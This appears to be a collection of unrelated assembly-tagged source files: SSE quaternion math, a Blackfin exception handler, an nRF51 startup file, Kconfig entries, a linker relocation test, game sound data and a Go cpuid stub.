extern "C" MCEMATHAPI(void) mcemaths_conjugate_q(float* q)
{
__declspec(align(16)) const float FACTORS[4] = {-1.0f, -1.0f, -1.0f, 1.0f};
__asm{
lea eax, FACTORS
movaps xmm0, [eax]
mov eax, q
movaps xmm1, [eax]
mulps xmm1, xmm0
movaps [eax], xmm1
}
}
__declspec(align(16)) const float CROSS_FACTORS1[4] = { 1.0f, 1.0f, 1.0f, -1.0f};
__declspec(align(16)) const float CROSS_FACTORS2[4] = {-1.0f, -1.0f, -1.0f, -1.0f};
extern "C" MCEMATHAPI(void) mcemaths_cross_q(float* q, const float* q_l, const float* q_r)
{
/* - base theory -
x = w_l * x_r + x_l * w_r + y_l * z_r - z_l * y_r
y = w_l * y_r + y_l * w_r + z_l * x_r - x_l * z_r
z = w_l * z_r + z_l * w_r + x_l * y_r - y_l * x_r
w = w_l * w_r - x_l * x_r - y_l * y_r - z_l * z_r
*/
__asm{
mov eax, q_l
movaps xmm6, [eax]
mov eax, q_r
movaps xmm7, [eax]
lea eax, CROSS_FACTORS1
movaps xmm5, [eax]
lea eax, CROSS_FACTORS2
movaps xmm4, [eax]
movaps xmm1, xmm6
shufps xmm1, xmm6, 0xff ; w_l w_l w_l w_l
mulps xmm1, xmm7 ; xmm1 - the 1st mul-column
movaps xmm2, xmm6
shufps xmm2, xmm6, 0x24 ; x_l y_l z_l x_l
movaps xmm3, xmm7
shufps xmm3, xmm7, 0x3f ; w_r w_r w_r x_r
mulps xmm2, xmm3
mulps xmm2, xmm5 ; xmm2 - the 2nd mul-column
addps xmm1, xmm2 ; xmm1 += xmm2
movaps xmm2, xmm6
shufps xmm2, xmm6, 0x48 ; y_l z_l x_l y_l
movaps xmm3, xmm7
shufps xmm3, xmm7, 0xa2 ; z_r x_r y_r y_r
mulps xmm2, xmm3
mulps xmm2, xmm5 ; xmm2 - the 3rd mul-column
addps xmm1, xmm2 ; xmm1 += xmm2
movaps xmm2, xmm6
shufps xmm2, xmm6, 0x92 ; z_l x_l y_l z_l
movaps xmm3, xmm7
shufps xmm3, xmm7, 0xa2 ; y_r z_r x_r z_r
mulps xmm2, xmm3
mulps xmm2, xmm4 ; xmm2 - the 4th mul-column
addps xmm1, xmm2 ; xmm1 += xmm2
mov eax, q
movaps [eax], xmm1
}
}
extern "C" MCEMATHAPI(void) mcemaths_cross_qv3(float* v4, const float* q_l, const float* v4_r)
{
/* - base theory -
vec' = q * vec * conjugate(q)
*/
__declspec(align(16)) float q_l_conj[4];
__declspec(align(16)) float q_r[4];
__declspec(align(16)) float temp[4];
mcemaths_quatcpy(q_l_conj, q_l);
mcemaths_quatcpy(q_r, v4_r);
mcemaths_conjugate_q(q_l_conj);
mcemaths_cross_q(temp, q_r, q_l_conj);
mcemaths_cross_q(v4, q_l, temp);
}
extern "C" MCEMATHAPI(void) mcemaths_axis2q(float* q, const float* axis4, float angle_rad)
{
angle_rad /= 2.0f;
mcemaths_quatcpy(q, axis4);
mcemaths_mul_3_4(q, sin(angle_rad));
q[3] = cos(angle_rad);
}
__declspec(align(16)) const float EULAR2Q_FACTORS1[4] = {0.5f, 0.5f, 0.5f, 0.5f};
extern "C" MCEMATHAPI(void) mcemaths_eular2q(float* q, const float* ypr4)
{
//////////////////////////////////////////////////////////////////////////
// sincos_ps() was written by Julien Pommier, published at http://gruntthepeon.free.fr/ssemath/,
// under zlib's license. His function takes 4 floats to calculate 4 sines and 4cosines simultaneously.
// His work is in file sse_mathfun.h. I guess it would be better if he used inline asm instead of intrinsics,
// because, if so, I wouldn't need a local float array (ypr_trigon) to connect his sse and mine, but
// that's not a big deal.
//
// Our Eular-to-quaternion function needs both sin and cos of 3 input floats (yaw/pitch/roll) to work,
// so Julien's function just meets our needs. Doing 6 trigonal calculations by one function call, I
// believe we will get bloody benefits!
//////////////////////////////////////////////////////////////////////////
__declspec(align(16)) float ypr_trigon[16];
ypr_trigon[12] = ypr_trigon[15] = 1.0f;
ypr_trigon[13] = ypr_trigon[14] = -1.0f;
__m128 sines, cosines;
sincos_ps(_mm_mul_ps(_mm_load_ps(ypr4), _mm_load_ps(EULAR2Q_FACTORS1)), &sines, &cosines);
__m128 y = _mm_shuffle_ps(cosines, sines, 0x00),
p = _mm_shuffle_ps(cosines, sines, 0x11),
r = _mm_shuffle_ps(cosines, sines, 0x22);
_mm_store_ps(ypr_trigon, y);
_mm_store_ps(ypr_trigon+4, p);
_mm_store_ps(ypr_trigon+8, r);
//////////////////////////////////////////////////////////////////////////
// now in ypr_trigon[16], data is arranged as:
// cos(y), cos(y), sin(y), sin(y), cos(p), cos(p), sin(p), sin(p), cos(r), cos(r), sin(r), sin(r), 1, -1, -1, 1
// the following algorithm was from Richard Davidson's work, in c it is like this:
//
// (simplified from q(yaw)*q(pitch)*q(roll))
// q.x = cosr * sinp * cosy + sinr * cosp * siny;
// q.y = cosr * cosp * siny - sinr * sinp * cosy;
// q.z = sinr * cosp * cosy - cosr * sinp * siny;
// q.w = cosr * cosp * cosy + sinr * sinp * siny;
//
// we now can easily shuffle each 'trigonal column' using ypr_trigon[0~9], and do
// quadruple multiplication happily by sse. the only small pain is shuffling which
// is inevitable.
//////////////////////////////////////////////////////////////////////////
__asm{
lea eax, ypr_trigon
prefetchNTA [eax]
movaps xmm0, [eax]
movaps xmm1, [eax+16]
movaps xmm2, [eax+32]
movaps xmm7, [eax+48]
movaps xmm3, xmm2
shufps xmm3, xmm3, 0x20
movaps xmm6, xmm1
shufps xmm6, xmm6, 0x02
mulps xmm3, xmm6
movaps xmm6, xmm0
shufps xmm6, xmm6, 0x08
mulps xmm3, xmm6
movaps xmm4, xmm2
shufps xmm4, xmm4, 0x8a
movaps xmm6, xmm1
shufps xmm6, xmm6, 0xa8
mulps xmm4, xmm6
movaps xmm6, xmm0
shufps xmm6, xmm6, 0xa2
mulps xmm4, xmm6
mulps xmm4, xmm7
addps xmm3, xmm4
mov eax, q
movaps [eax], xmm3
}
}
_declspec(align(16)) const float Q2M_FACTORS1[4] = { 1.0f, 0, 0, 0};
_declspec(align(16)) const float Q2M_FACTORS2[4] = { 0, 1.0f, 0, 0};
_declspec(align(16)) const float Q2M_FACTORS3[4] = { 0, 0, 1.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS4[4] = {-2.0f, 2.0f, 2.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS5[4] = { 2.0f, -2.0f, 2.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS6[4] = { 2.0f, 2.0f, -2.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS7[4] = {-2.0f, 2.0f, -2.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS8[4] = {-2.0f, -2.0f, 2.0f, 0};
_declspec(align(16)) const float Q2M_FACTORS9[4] = { 2.0f, -2.0f, -2.0f, 0};
extern "C" MCEMATHAPI(void) mcemaths_q2matrix(float* m44, const float* q)
{
/*
float yy = y*y;
float zz = z*z;
float xy = x*y;
float zw = z*w;
float xz = x*z;
float yw = y*w;
float xx = x*x;
float yz = y*z;
float xw = x*w;
mat.values[0] = 1 - 2*yy - 2*zz;
mat.values[1] = 2*xy + 2*zw;
mat.values[2] = 2*xz - 2*yw;
mat.values[4] = 2*xy - 2*zw;
mat.values[5] = 1 - 2*xx - 2*zz;
mat.values[6] = 2*yz + 2*xw;
mat.values[8] = 2*xz + 2*yw;
mat.values[9] = 2*yz - 2*xw;
mat.values[10] = 1 - 2*xx - 2*yy;
*/
__asm{
mov eax, q
movaps xmm0, [eax]
mov edx, m44
movaps xmm1, xmm0
movaps xmm7, xmm0
shufps xmm1, xmm1, 0x01 ; y x x
shufps xmm7, xmm7, 0x25 ; y y z
mulps xmm1, xmm7
lea eax, Q2M_FACTORS4 ; -2 2 2
movaps xmm7, [eax]
mulps xmm1, xmm7
movaps xmm2, xmm0
movaps xmm7, xmm0
shufps xmm2, xmm2, 0x1a ; z z y
shufps xmm7, xmm7, 0x3e ; z w w
mulps xmm2, xmm7
lea eax, Q2M_FACTORS7 ; -2 2 -2
movaps xmm7, [eax]
mulps xmm2, xmm7
addps xmm1, xmm2
lea eax, Q2M_FACTORS1 ; 1 0 0
movaps xmm2, [eax]
addps xmm1, xmm2
movaps [edx], xmm1
movaps xmm1, xmm0
movaps xmm7, xmm0
shufps xmm1, xmm1, 0x10 ; x x y
shufps xmm7, xmm7, 0x21 ; y x z
mulps xmm1, xmm7
lea eax, Q2M_FACTORS5 ; 2 -2 2
movaps xmm7, [eax]
mulps xmm1, xmm7
movaps xmm2, xmm0
movaps xmm7, xmm0
shufps xmm2, xmm2, 0x0a ; z z x
shufps xmm7, xmm7, 0x3b ; w z w
mulps xmm2, xmm7
lea eax, Q2M_FACTORS8 ; -2 -2 2
movaps xmm7, [eax]
mulps xmm2, xmm7
addps xmm1, xmm2
lea eax, Q2M_FACTORS2 ; 0 1 0
movaps xmm2, [eax]
addps xmm1, xmm2
movaps [edx+16], xmm1
movaps xmm1, xmm0
movaps xmm7, xmm0
shufps xmm1, xmm1, 0x04 ; x y x
shufps xmm7, xmm7, 0x0a ; z z x
mulps xmm1, xmm7
lea eax, Q2M_FACTORS6 ; 2 2 -2
movaps xmm7, [eax]
mulps xmm1, xmm7
movaps xmm2, xmm0
movaps xmm7, xmm0
shufps xmm2, xmm2, 0x11 ; y x y
shufps xmm7, xmm7, 0x1f ; w w y
mulps xmm2, xmm7
lea eax, Q2M_FACTORS9 ; 2 -2 -2
movaps xmm7, [eax]
mulps xmm2, xmm7
addps xmm1, xmm2
lea eax, Q2M_FACTORS3 ; 0 0 1
movaps xmm2, [eax]
addps xmm1, xmm2
movaps [edx+32], xmm1
mov eax, IDENTITY4_LASTROW
movaps xmm0, [eax]
movaps [edx+48], xmm0
}
}
_declspec(align(16)) const float M2Q_FACTORS1[4] = { 1.0f, 2.0f, 0, 0};
_declspec(align(16)) const float M2Q_FACTORS2[4] = { 1.0f, -1.0f, -1.0f, 1.0f};
_declspec(align(16)) const float M2Q_FACTORS3[4] = {-1.0f, 1.0f, -1.0f, 1.0f};
_declspec(align(16)) const float M2Q_FACTORS4[4] = {-1.0f, -1.0f, 1.0f, 1.0f};
extern "C" MCEMATHAPI(void) mcemaths_matrix2q(float* q, const float* m44)
{
/*
q.x = sqrt( max( 0.0f, (1.0f + m.values[0] - m.values[5] - m.values[10]) ) ) / 2;
q.y = sqrt( max( 0.0f, (1.0f - m.values[0] + m.values[5] - m.values[10]) ) ) / 2;
q.z = sqrt( max( 0.0f, (1.0f - m.values[0] - m.values[5] + m.values[10]) ) ) / 2;
q.w = sqrt( max( 0.0f, (1.0f + m.values[0] + m.values[5] + m.values[10]) ) ) / 2;
q.x = (float)_copysign( q.x, m.values[9] - m.values[6] );
q.y = (float)_copysign( q.y, m.values[2] - m.values[8] );
q.z = (float)_copysign( q.z, m.values[4] - m.values[1] );
*/
__asm{
lea eax, M2Q_FACTORS1
movaps xmm0, [eax]
movaps xmm1, xmm0
shufps xmm0, xmm0, 0x00 ; 1 1 1 1
shufps xmm1, xmm1, 0x55 ; 2 2 2 2
mov eax, m44
movaps xmm2, [eax]
shufps xmm2, xmm2, 0x00 ; m[0] m[0] m[0] m[0]
lea ecx, M2Q_FACTORS2
movaps xmm7, [ecx]
mulps xmm2, xmm7
addps xmm0, xmm2
movaps xmm2, [eax+16]
shufps xmm2, xmm2, 0x55 ; m[1] m[1] m[1] m[1]
lea ecx, M2Q_FACTORS3
movaps xmm7, [ecx]
mulps xmm2, xmm7
addps xmm0, xmm2
movaps xmm2, [eax+32]
shufps xmm2, xmm2, 0xaa ; m[2] m[2] m[2] m[2]
lea ecx, M2Q_FACTORS4
movaps xmm7, [ecx]
mulps xmm2, xmm7
addps xmm0, xmm2
xorps xmm2, xmm2
maxps xmm0, xmm2
sqrtps xmm0, xmm0
divps xmm0, xmm1
mov eax, q
movaps [eax], xmm0
}
q[0] = (float)_copysign(q[0], m44[9] - m44[6]);
q[1] = (float)_copysign(q[1], m44[2] - m44[8]);
q[2] = (float)_copysign(q[2], m44[4] - m44[1]);
}
/*
make direction vector from a rotation quaternion based on z-negative:
dir = transform(q, (0, 0, -1))
because: dir = (-m[2], -m[6], -m[10]) where m is a matrix containing only rotation,
and the conversion from quaternion to matrix is:
-m[2] = -2xz -2yw +0
-m[6] = -2yz +2xw +0
-m[10] = 2xx +2yy -1
so:
|-2| * | x| * | z| + |-2| * | y| * | w| + | 0|
dir = |-2| * | y| * | z| + | 2| * | x| * | w| + | 0|
| 2| * | x| * | x| + | 2| * | y| * | y| + |-1|
xmm4 * xmm0 * xmm1 + xmm5 * xmm2 * xmm3 + xmm6
*/
extern "C" MCEMATHAPI(void) mcemaths_dir_from_quat(float* dir4, const float* quat, float len)
{
ALIGN16 const float FACTORS1[4] = {-2.0f, -2.0f, 2.0f, 0};
ALIGN16 const float FACTORS2[4] = {-2.0f, 2.0f, 2.0f, 0};
ALIGN16 const float FACTORS3[4] = { 0, 0, -1.0f, 0};
const float* factors1 = FACTORS1;
const float* factors2 = FACTORS2;
const float* factors3 = FACTORS3;
__asm{
; load quaternion
mov eax, quat
movaps xmm7, [eax]
; xmm0 = x y x
movaps xmm0, xmm7
shufps xmm0, xmm0, 0x04
; xmm1 = z z x
movaps xmm1, xmm7
shufps xmm1, xmm1, 0x0A
; xmm2 = y x y
movaps xmm2, xmm7
shufps xmm2, xmm2, 0x11
; xmm3 = w w y
movaps xmm3, xmm7
shufps xmm3, xmm3, 0x1F
; xmm4 = -2 -2 2
lea eax, FACTORS1
movaps xmm4, [eax]
; xmm5 = -2 2 2
lea eax, FACTORS2
movaps xmm5, [eax]
; xmm6 = 0 0 -1
lea eax, FACTORS3
movaps xmm6, [eax]
; xmm7 = xmm4 * xmm0 * xmm1 + xmm5 * xmm2 * xmm3 + xmm6 (^_^)
mulps xmm4, xmm0
mulps xmm4, xmm1
mulps xmm5, xmm2
mulps xmm5, xmm3
movaps xmm7, xmm4
addps xmm7, xmm5
addps xmm7, xmm6
; apply length
movss xmm0, len
shufps xmm0, xmm0, 0x0
mulps xmm7, xmm0
; output
mov eax, dir4
movaps [eax], xmm7
}
}
|
{
"language": "Assembly"
}
|
/*
* interrupt.S - trampoline default exceptions/interrupts to C handlers
*
* Copyright (c) 2005-2009 Analog Devices Inc.
* Licensed under the GPL-2 or later.
*/
#include <config.h>
#include <asm/blackfin.h>
#include <asm/entry.h>
#include <asm/ptrace.h>
#include <asm/deferred.h>
#include <asm/mach-common/bits/core.h>
.text
/* default entry point for exceptions */
ENTRY(_trap)
CONFIG_BFIN_SCRATCH_REG = sp;
sp.l = LO(L1_SRAM_SCRATCH_END - 20);
sp.h = HI(L1_SRAM_SCRATCH_END - 20);
SAVE_ALL_SYS
r0 = sp; /* stack frame pt_regs pointer argument ==> r0 */
r1 = 3; /* EVT3 space */
sp += -12;
call _trap_c;
sp += 12;
#ifdef CONFIG_EXCEPTION_DEFER
CC = R0 == 0;
IF CC JUMP .Lexit_trap;
/* To avoid double faults, lower our priority to IRQ5 */
p4.l = lo(COREMMR_BASE);
p4.h = hi(COREMMR_BASE);
r7.h = _exception_to_level5;
r7.l = _exception_to_level5;
[p4 + (EVT5 - COREMMR_BASE)] = r7;
/*
* Save these registers, as they are only valid in exception context
* (where we are now - as soon as we defer to IRQ5, they can change)
*/
p5.l = _deferred_regs;
p5.h = _deferred_regs;
r6 = [p4 + (DCPLB_FAULT_ADDR - COREMMR_BASE)];
[p5 + (deferred_regs_DCPLB_FAULT_ADDR * 4)] = r6;
r6 = [p4 + (ICPLB_FAULT_ADDR - COREMMR_BASE)];
[p5 + (deferred_regs_ICPLB_FAULT_ADDR * 4)] = r6;
/* Save the state of single stepping */
r6 = SYSCFG;
[p5 + (deferred_regs_SYSCFG * 4)] = r6;
/* Clear it while we handle the exception in IRQ5 mode
* RESTORE_ALL_SYS will load it, so all we need to do is store it
* in the right place
*/
BITCLR(r6, SYSCFG_SSSTEP_P);
[SP + PT_SYSCFG] = r6;
/* Since we are going to clobber RETX, we need to save it */
r6 = retx;
[p5 + (deferred_regs_retx * 4)] = r6;
/* Save the current IMASK, since we change in order to jump to level 5 */
cli r6;
[p5 + (deferred_regs_IMASK * 4)] = r6;
/* Disable all interrupts, but make sure level 5 is enabled so
* we can switch to that level.
*/
r6 = 0x3f;
sti r6;
/* Clobber RETX so we don't end up back at a faulting instruction */
[sp + PT_RETX] = r7;
/* In case interrupts are disabled IPEND[4] (global interrupt disable bit)
* clear it (re-enabling interrupts again) by the special sequence of pushing
* RETI onto the stack. This way we can lower ourselves to IVG5 even if the
* exception was taken after the interrupt handler was called but before it
* got a chance to enable global interrupts itself.
*/
[--sp] = reti;
sp += 4;
RAISE 5;
.Lexit_trap:
#endif
#if ANOMALY_05000257
R7 = LC0;
LC0 = R7;
R7 = LC1;
LC1 = R7;
#endif
RESTORE_ALL_SYS
sp = CONFIG_BFIN_SCRATCH_REG;
rtx;
ENDPROC(_trap)
#ifdef CONFIG_EXCEPTION_DEFER
/* Deferred (IRQ5) exceptions */
ENTRY(_exception_to_level5)
SAVE_ALL_SYS
/* Now we have to fix things up */
p4.l = lo(EVT5);
p4.h = hi(EVT5);
r0.l = _evt_default;
r0.h = _evt_default;
[p4] = r0;
csync;
p4.l = _deferred_regs;
p4.h = _deferred_regs;
r0 = [p4 + (deferred_regs_retx * 4)];
[sp + PT_PC] = r0;
r0 = [p4 + (deferred_regs_SYSCFG * 4)];
[sp + PT_SYSCFG] = r0;
r0 = sp; /* stack frame pt_regs pointer argument ==> r0 */
r1 = 5; /* EVT5 space */
sp += -12;
call _trap_c;
sp += 12;
/* Restore IMASK */
r0 = [p4 + (deferred_regs_IMASK * 4)];
sti r0;
RESTORE_ALL_SYS
rti;
ENDPROC(_exception_to_level5)
#endif
/* default entry point for interrupts */
ENTRY(_evt_default)
SAVE_ALL_SYS
r0 = sp; /* stack frame pt_regs pointer argument ==> r0 */
sp += -12;
call _bfin_panic;
sp += 12;
RESTORE_ALL_SYS
rti;
ENDPROC(_evt_default)
/* NMI handler */
ENTRY(_evt_nmi)
rtn;
ENDPROC(_evt_nmi)
|
{
"language": "Assembly"
}
|
; Copyright (c) 2013, Nordic Semiconductor ASA
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; * Redistributions of source code must retain the above copyright notice, this
; list of conditions and the following disclaimer.
;
; * Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; * Neither the name of Nordic Semiconductor ASA nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; NOTE: Template files (including this one) are application specific and therefore
; expected to be copied into the application project folder prior to its use!
; Description message
Stack_Size EQU 2048
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
Heap_Size EQU 1024
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD POWER_CLOCK_IRQHandler ;POWER_CLOCK
DCD RADIO_IRQHandler ;RADIO
DCD UART0_IRQHandler ;UART0
DCD SPI0_TWI0_IRQHandler ;SPI0_TWI0
DCD SPI1_TWI1_IRQHandler ;SPI1_TWI1
DCD 0 ;Reserved
DCD GPIOTE_IRQHandler ;GPIOTE
DCD ADC_IRQHandler ;ADC
DCD TIMER0_IRQHandler ;TIMER0
DCD TIMER1_IRQHandler ;TIMER1
DCD TIMER2_IRQHandler ;TIMER2
DCD RTC0_IRQHandler ;RTC0
DCD TEMP_IRQHandler ;TEMP
DCD RNG_IRQHandler ;RNG
DCD ECB_IRQHandler ;ECB
DCD CCM_AAR_IRQHandler ;CCM_AAR
DCD WDT_IRQHandler ;WDT
DCD RTC1_IRQHandler ;RTC1
DCD QDEC_IRQHandler ;QDEC
DCD LPCOMP_IRQHandler ;LPCOMP
DCD SWI0_IRQHandler ;SWI0
DCD SWI1_IRQHandler ;SWI1
DCD SWI2_IRQHandler ;SWI2
DCD SWI3_IRQHandler ;SWI3
DCD SWI4_IRQHandler ;SWI4
DCD SWI5_IRQHandler ;SWI5
DCD 0 ;Reserved
DCD 0 ;Reserved
DCD 0 ;Reserved
DCD 0 ;Reserved
DCD 0 ;Reserved
DCD 0 ;Reserved
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset Handler
NRF_POWER_RAMON_ADDRESS EQU 0x40000524 ; NRF_POWER->RAMON address
NRF_POWER_RAMON_RAMxON_ONMODE_Msk EQU 0x3 ; All RAM blocks on in onmode bit mask
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT SystemInit
IMPORT __main
LDR R0, =NRF_POWER_RAMON_ADDRESS
LDR R2, [R0]
MOVS R1, #NRF_POWER_RAMON_RAMxON_ONMODE_Msk
ORRS R2, R2, R1
STR R2, [R0]
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT POWER_CLOCK_IRQHandler [WEAK]
EXPORT RADIO_IRQHandler [WEAK]
EXPORT UART0_IRQHandler [WEAK]
EXPORT SPI0_TWI0_IRQHandler [WEAK]
EXPORT SPI1_TWI1_IRQHandler [WEAK]
EXPORT GPIOTE_IRQHandler [WEAK]
EXPORT ADC_IRQHandler [WEAK]
EXPORT TIMER0_IRQHandler [WEAK]
EXPORT TIMER1_IRQHandler [WEAK]
EXPORT TIMER2_IRQHandler [WEAK]
EXPORT RTC0_IRQHandler [WEAK]
EXPORT TEMP_IRQHandler [WEAK]
EXPORT RNG_IRQHandler [WEAK]
EXPORT ECB_IRQHandler [WEAK]
EXPORT CCM_AAR_IRQHandler [WEAK]
EXPORT WDT_IRQHandler [WEAK]
EXPORT RTC1_IRQHandler [WEAK]
EXPORT QDEC_IRQHandler [WEAK]
EXPORT LPCOMP_IRQHandler [WEAK]
EXPORT SWI0_IRQHandler [WEAK]
EXPORT SWI1_IRQHandler [WEAK]
EXPORT SWI2_IRQHandler [WEAK]
EXPORT SWI3_IRQHandler [WEAK]
EXPORT SWI4_IRQHandler [WEAK]
EXPORT SWI5_IRQHandler [WEAK]
POWER_CLOCK_IRQHandler
RADIO_IRQHandler
UART0_IRQHandler
SPI0_TWI0_IRQHandler
SPI1_TWI1_IRQHandler
GPIOTE_IRQHandler
ADC_IRQHandler
TIMER0_IRQHandler
TIMER1_IRQHandler
TIMER2_IRQHandler
RTC0_IRQHandler
TEMP_IRQHandler
RNG_IRQHandler
ECB_IRQHandler
CCM_AAR_IRQHandler
WDT_IRQHandler
RTC1_IRQHandler
QDEC_IRQHandler
LPCOMP_IRQHandler
SWI0_IRQHandler
SWI1_IRQHandler
SWI2_IRQHandler
SWI3_IRQHandler
SWI4_IRQHandler
SWI5_IRQHandler
B .
ENDP
ALIGN
; User Initial Stack & Heap
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, = (Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
|
{
"language": "Assembly"
}
|
comment "fmc needs a toolchain w/ C++"
depends on BR2_powerpc_e500mc || BR2_powerpc_e6500
depends on !BR2_INSTALL_LIBSTDCPP
comment "fmc needs a Linux kernel to be built"
depends on BR2_powerpc_e500mc || BR2_powerpc_e6500
depends on !BR2_LINUX_KERNEL
config BR2_PACKAGE_FMC
bool "fmc"
depends on BR2_powerpc_e500mc || BR2_powerpc_e6500
depends on BR2_INSTALL_LIBSTDCPP
depends on BR2_LINUX_KERNEL # fmlib
select BR2_PACKAGE_TCLAP
select BR2_PACKAGE_LIBXML2
select BR2_PACKAGE_FMLIB
help
The Frame Manager Configuration tool is Freescale PowerPC
platform software package whose primary purpose is converting
Parse-Classify-Police-Distribute (PCD) descriptions of network
packets flow into hardware configuration. The tool provides an
abstraction layer between the end customer's vision of the PCD
task definition and real hardware implementation.
http://cache.freescale.com/files/32bit/doc/app_note/AN4760.pdf
|
{
"language": "Assembly"
}
|
;-------------------------------------------------------------------------------------------------------
; Copyright (C) Microsoft. All rights reserved.
; Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
;-------------------------------------------------------------------------------------------------------
include ksamd64.inc
_TEXT SEGMENT
align 16
?ULongToDouble@JavascriptConversion@Js@@SAN_K@Z PROC FRAME
.endprolog
test rcx, rcx
js msbSet
cvtsi2sd xmm0, rcx
jmp doneULongToDouble
msbSet:
mov rdx, rcx
and rcx, 1 ; Save lsb
shr rdx, 1 ; divide by 2
or rcx, rdx ; put back lsb if it was set
cvtsi2sd xmm0, rcx ; do conversion
addsd xmm0, xmm0 ; xmm0 * 2
doneULongToDouble:
ret
?ULongToDouble@JavascriptConversion@Js@@SAN_K@Z ENDP
_TEXT ENDS
end
|
{
"language": "Assembly"
}
|
config DRM_VMWGFX
tristate "DRM driver for VMware Virtual GPU"
depends on DRM && PCI
select FB_DEFERRED_IO
select FB_CFB_FILLRECT
select FB_CFB_COPYAREA
select FB_CFB_IMAGEBLIT
select DRM_TTM
# Only needed for the transitional use of drm_crtc_init - can be removed
# again once vmwgfx sets up the primary plane itself.
select DRM_KMS_HELPER
help
Choose this option if you would like to run 3D acceleration
in a VMware virtual machine.
This is a KMS enabled DRM driver for the VMware SVGA2
virtual hardware.
The compiled module will be called "vmwgfx.ko".
config DRM_VMWGFX_FBCON
depends on DRM_VMWGFX && FB
bool "Enable framebuffer console under vmwgfx by default"
help
Choose this option if you are shipping a new vmwgfx
userspace driver that supports using the kernel driver.
|
{
"language": "Assembly"
}
|
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|
{
"language": "Assembly"
}
|
#source: emit-relocs-286.s
#ld: -T relocs.ld --defsym tempy=0x11018 --defsym tempy2=0x45038 --defsym tempy3=0x1234 -e0 --emit-relocs
#error: .*truncated.*tempy3.*
#objdump: -dr
#...
+10000: 8a000000 and x0, x0, x0
+10004: 92400000 and x0, x0, #0x1
+10008: f9400c64 ldr x4, \[x3,.*
+10008: R_AARCH64_LDST64_ABS_LO12_NC tempy
+1000c: f9401c67 ldr x7, \[x3,.*
+1000c: R_AARCH64_LDST64_ABS_LO12_NC tempy2
+10010: f9411871 ldr x17, \[x3,.*
+10010: R_AARCH64_LDST64_ABS_LO12_NC tempy3
|
{
"language": "Assembly"
}
|
SFX_Cry23_2_Ch5:
duty_cycle_pattern 3, 3, 0, 0
square_note 15, 15, 7, 1984
square_note 6, 14, 4, 1985
square_note 10, 15, 6, 1984
square_note 4, 13, 3, 1986
square_note 8, 12, 1, 1984
sound_ret
SFX_Cry23_2_Ch6:
duty_cycle_pattern 1, 1, 3, 3
square_note 15, 9, 7, 1921
square_note 6, 8, 4, 1920
square_note 10, 9, 6, 1921
square_note 15, 8, 3, 1921
sound_ret
SFX_Cry23_2_Ch8:
noise_note 3, 15, 2, 60
noise_note 13, 14, 6, 44
noise_note 15, 13, 7, 60
noise_note 8, 12, 1, 44
sound_ret
|
{
"language": "Assembly"
}
|
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build 386 amd64 amd64p32
#include "textflag.h"
// func cpuid(eaxArg, ecxArg uint32) (eax, ebx, ecx, edx uint32)
TEXT ·cpuid(SB), NOSPLIT, $0-24
MOVL eaxArg+0(FP), AX
MOVL ecxArg+4(FP), CX
